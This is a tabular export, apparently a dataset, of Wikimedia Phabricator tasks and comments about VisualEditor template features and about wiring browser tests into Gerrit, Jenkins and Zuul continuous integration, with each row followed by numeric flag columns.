+**Severity**: enhancement",Low,25.0,1378220100,1401472643.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-jldo3wo4jenhs2iglbfo,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+235014,"VisualEditor: On opening a reference which includes a single template and nothing else, also open that template's dialog",This was done (for citation templates) in the new citation system.,,,1401472643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jldo3wo4jenhs2iglbfo,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+55697,[EPIC] trigger browser tests from Gerrit (tracking),"The VisualEditor and ULS MediaWiki extensions have recently been blessed with QA browser tests.  We would need them to be in the Contint Jenkins and triggered by Zuul whenever a patchset is submitted as well as in the gate-and-submit pipeline.
+
+That needs several step:
+
+- describe the jobs in Jenkins
+- add the triggers in Zuul configuration
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1378194900,1496054383.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_description,resolved,True,c1,3,True,False,False,9,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+866451,[EPIC] trigger browser tests from Gerrit (tracking),As far as I know this is resolved a long time ago. Please reopen if there is anything left to be done.,,,1496054383,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,204,,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+820697,[EPIC] trigger browser tests from Gerrit (tracking),"Have to make the following extension to trigger the job on patchset proposal:
+
+CentralAuth
+CentralNotice
+Math
+PageTriage
+WikiLove
+",,,1488879529,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,192,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+820685,[EPIC] trigger browser tests from Gerrit (tracking),"Change 341506 merged by jenkins-bot:
+[integration/config] Add experimental mwext-mw-selenium-jessie
+
+[[https://gerrit.wikimedia.org/r/341506]]
+",,,1488877980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+820677,[EPIC] trigger browser tests from Gerrit (tracking),"Change 341506 had a related patch set uploaded (by hashar):
+[integration/config] Add experimental mwext-mw-selenium-jessie
+
+[[https://gerrit.wikimedia.org/r/341506]]
+",,,1488877553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+675171,[EPIC] trigger browser tests from Gerrit (tracking),"@dduvall made it possible to trigger selenium tests when a new patchset is triggered which unblocked a few tasks.
+
+Originally we had this blocked on T47499 which comes from Bugzilla and was the parent tracking task / epic for the #continuous-integration-scaling project.  It has progressed and we are not so far from having the jobs run on Nodepool.  That is {T137112} which is more specific than the legacy epic task and better reflect the intention.",,,1465249476,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,153,,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0
+583896,[EPIC] trigger browser tests from Gerrit (tracking),"For mediawiki/extensions/VisualEditor no browser tests are run for patch upload nor merge, so it probably still needs to be done, possibly also for a few other closed blockers.",,,1450969250,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,129,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+583578,[EPIC] trigger browser tests from Gerrit (tracking),">>! In T55697#1646493, @Jdlrobson wrote:
+> The description is a little confusing. Does VisualEditor do this already? I can't see the selenium job on a per commit basis....
+
+Still interested in the answer to this.
+",,,1450907160,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,129,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+528777,[EPIC] trigger browser tests from Gerrit (tracking),The description is a little confusing. Does VisualEditor do this already? I can't see the selenium job on a per commit basis....,,,1442430477,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,115,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+431647,[EPIC] trigger browser tests from Gerrit (tracking),I have closed a few tasks that were requesting browser tests to be triggered on patch proposal. There is no point in keeping them open until we are actually ready to trigger such jobs.,,,1427208701,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,90,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+417558,[EPIC] trigger browser tests from Gerrit (tracking),"Per a discussion we had in the Releng weekly checkin, triggering browser tests from Gerrit would need the disposable VMs. We would also need to setup MediaWiki and the required backend services such as Parsoid (and more as needed).",,,1424944811,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,86,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+234072,[EPIC] trigger browser tests from Gerrit (tracking),"(In reply to Matthew Flaschen from comment #7)
+<snip>
+> What's the status of this?  Are there any projects that have browser tests
+> triggering on each change (even if non-voting)?
+> 
+> If not, can you outline the blockers?
+
+It is not hold, mostly because we lack resources to do the integration / make them faster.  On top of my head:
+
+* make them faster
+* runnable in parallel and aggregate the results
+* rethink the way we setup the environment to run the browser tests, it is currently a huge shell snippet which is copy pasted in different place
+
+
+Feel free to take the leadership. Zeljkof and Nik Everett would be able to assist.  I can offer reviews / guidances as well.",,,1415887484,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,71,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+234067,[EPIC] trigger browser tests from Gerrit (tracking),"(In reply to Antoine ""hashar"" Musso from comment #6)
+> This is no more a top priority.  We have most browsertests run twice per day
+> instead.
+> 
+> We will eventually managed to get them added in Gerrit, but there is a bit
+> more work that needs to be done first.
+
+What's the status of this?  Are there any projects that have browser tests triggering on each change (even if non-voting)?
+
+If not, can you outline the blockers?",,,1412275069,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,65,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+234063,[EPIC] trigger browser tests from Gerrit (tracking),"This is no more a top priority.  We have most browsertests run twice per day instead.
+
+We will eventually managed to get them added in Gerrit, but there is a bit more work that needs to be done first.",,,1405076783,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0
+234058,[EPIC] trigger browser tests from Gerrit (tracking),"Quick status update:
+
+- ULS has browser tests being triggered albeit lot of tests ends up being
+- MobileFrontend has a patch that has browser tests passing locally against a freshly installed wiki. Pending review / merge then I will add the browser tests.
+- VisualEditor browser tests depends on some work to be done to safely start and stop a Parsoid daemon for each test.
+
+I am focusing this week on integrating Parsoid daemon in Jenkins",,,1386705460,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,23,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+234052,[EPIC] trigger browser tests from Gerrit (tracking),The Jenkins jobo template in https://gerrit.wikimedia.org/r/#/c/86868/ would let us trigger tests.,,,1385379924,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+234041,[EPIC] trigger browser tests from Gerrit (tracking),See also the Wiki page https://www.mediawiki.org/wiki/Continuous_integration/Browser_tests,,,1379694650,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+234030,[EPIC] trigger browser tests from Gerrit (tracking),We will go with ULS first since we have a good experience interacting with the i18n team and they are in European timezone just like Zeljko and I.,,,1378225513,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+234017,[EPIC] trigger browser tests from Gerrit (tracking),"raise priority, add 'tracking' in summary.",,,1378225359,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+55614,VIsualEditor: Allowing editing of attributes in MWAlienExtensionNode,"Need some UI to add/remove/edit the key value pairs.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1377906360,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-342y4tkwn6enbyuyqjn3,task_description,open,True,c1,3,True,False,,8,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+253591,VIsualEditor: Allowing editing of attributes in MWAlienExtensionNode,"As an update, this is done for editing, but not adding/removing.",,,1394479039,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-342y4tkwn6enbyuyqjn3,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+55609,"VisualEditor: In the transclusion dialog, use ""Root#sets"" data to allow addition and/or completion of parameter > sets","
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1377905220,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bjxf522olmedsdx6rpbc,task_description,open,True,c1,3,True,False,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55590,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Adam Cuerden says,  ""I believe the VE team intends to have a some one click solutions in the near future, including adding templates of your choice to a bar? Although I'd hope there'd also be a few automatic lists you could choose to pull up - cleanup templates, etc.""
+
+So, it would be really comfy for users if the template editor, beyond being able to let them select what they need by typing the name, asked ""Which kind of template do you want to add?"" and provided lists of the most used/popular ones, divided per set (cleanup templates, citation templates and so on).
+Or just a way to store one's most used choices.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T52458}",Low,25.0,1377873180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_description,open,True,c1,3,False,False,,8,,1,0,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+2464482,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"T209797 requests a specific subset of this, in a specific format, as part of semi-automated tool interfaces, for wikisource as well as VE.",,,1732669010,,PHID-USER-t5o36keuho36mcmrau5j,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,595,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+2440575,VisualEditor: Provide some kind of template suggestion in the transclusion editor,CommTech is planning to address some of this with [[ https://phabricator.wikimedia.org/T367428  | Favorite Templates ]] ,,,1729696706,,PHID-USER-gijtkzcktagsduwnkeo6,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,590,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2330588,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The infobox could be suggested based on some categories of the article, specifically or generally, for example writer or just biography.",,,1715092406,,PHID-USER-ygejgcs65h5nr3ssbueb,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,566,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+2067511,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Editing/Quickly_add_favorite_and_related_templates,,,1676201310,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,501,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+2059679,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
+https://patchdemo.wmflabs.org/wikis/98c44ac3c7/wiki/Main_Page?veaction=edit",,,1675175353,,PHID-USER-jab5bp3ivtzmobfdxoa7,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,500,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2059660,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Editing/Quickly_add_infobox,,,1675173851,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,500,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+1623156,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Select_templates_by_categories,,,1606394588,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,386,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+1476812,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"CCing WMDE Technical Wishes team (https://meta.wikimedia.org/wiki/WMDE_Technical_Wishes/Templates)
+
+@ecohen @Lena_WMDE @thiemowmde ",,,1585845044,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,352,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0
+1395092,VisualEditor: Provide some kind of template suggestion in the transclusion editor,Any clue on this?,,,1574156168,,PHID-USER-g73uduhwmggntmexighn,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,333,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+1283893,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"> Um... A lot of it actually is defined locally on the wiki and won't work without non-trivial JSON configuration that maps it to local templates.
+
+Yes, I'm comparing them to templates that are 100% defined on wiki.
+
+> Infoboxes are very common, but unlike citations they are usually inserted only once when the article is created
+
+Yes, so as an editing tool, no particular template comes close to cite in terms of frequency of use (although I'm sure there are wiki-by-wiki examples where this is the case).
+
+> and VE is for some reason perceived more as a page editing tool than a page creation tool
+
+I don't see it this way either, but edits >> creations.
+
+I think this conversation belongs on T96710.",,,1558269856,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+1283508,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5192906, @Esanders wrote:
+>>>! In T55590#5192101, @Amire80 wrote:
+>> There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.
+> 
+> I think the distinction at the moment is that the Cite tools relate to extension functionality defined in the code, specifically templates wrapped in a <ref>, and the Citoid tool allows automatic population of those templates.
+
+Um... A lot of it actually //is// defined locally on the wiki and won't work without non-trivial JSON configuration that maps it to local templates.
+
+My theory is that Cite got its own button because the English Wikipedia community, unlike most others, enforces citations very strongly, and new citations are needed in new edits all the time. Infoboxes are very common, but unlike citations they are usually inserted only once when the article is created, and VE is for some reason perceived more as a page editing tool than a page creation tool. (//I// don't perceive it as such, and I use VE for creating pages whenever I can, but my impression is that a lot of people don't think of VE as a page creation tool.)
+
+> ""Suggested templates"" on the other hand are 100% defined on-wiki: the names of the templates to use, the implementation of the templates, and the metadata, so I think it's appropriate to think about these differently.
+
+Sure, but please do keep in mind that some day, better earlier than later, at least some templates should become global. When this finally happens, we can probably also have global JSON configuration for popular templates.",,,1558190892,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1
+1283405,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5192101, @Amire80 wrote:
+> There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.
+
+I think the distinction at the moment is that the Cite tools relate to extension functionality defined in the code, specifically templates wrapped in a <ref>, and the Citoid tool allows automatic population of those templates.
+
+""Suggested templates"" on the other hand are 100% defined on-wiki: the names of the templates to use, the implementation of the templates, and the metadata, so I think it's appropriate to think about these differently.
+
+That said there are certainly cases on a wiki by wiki basis where it would make sense to promote certain templates to the toolbar, and that is covered by T96710.
+
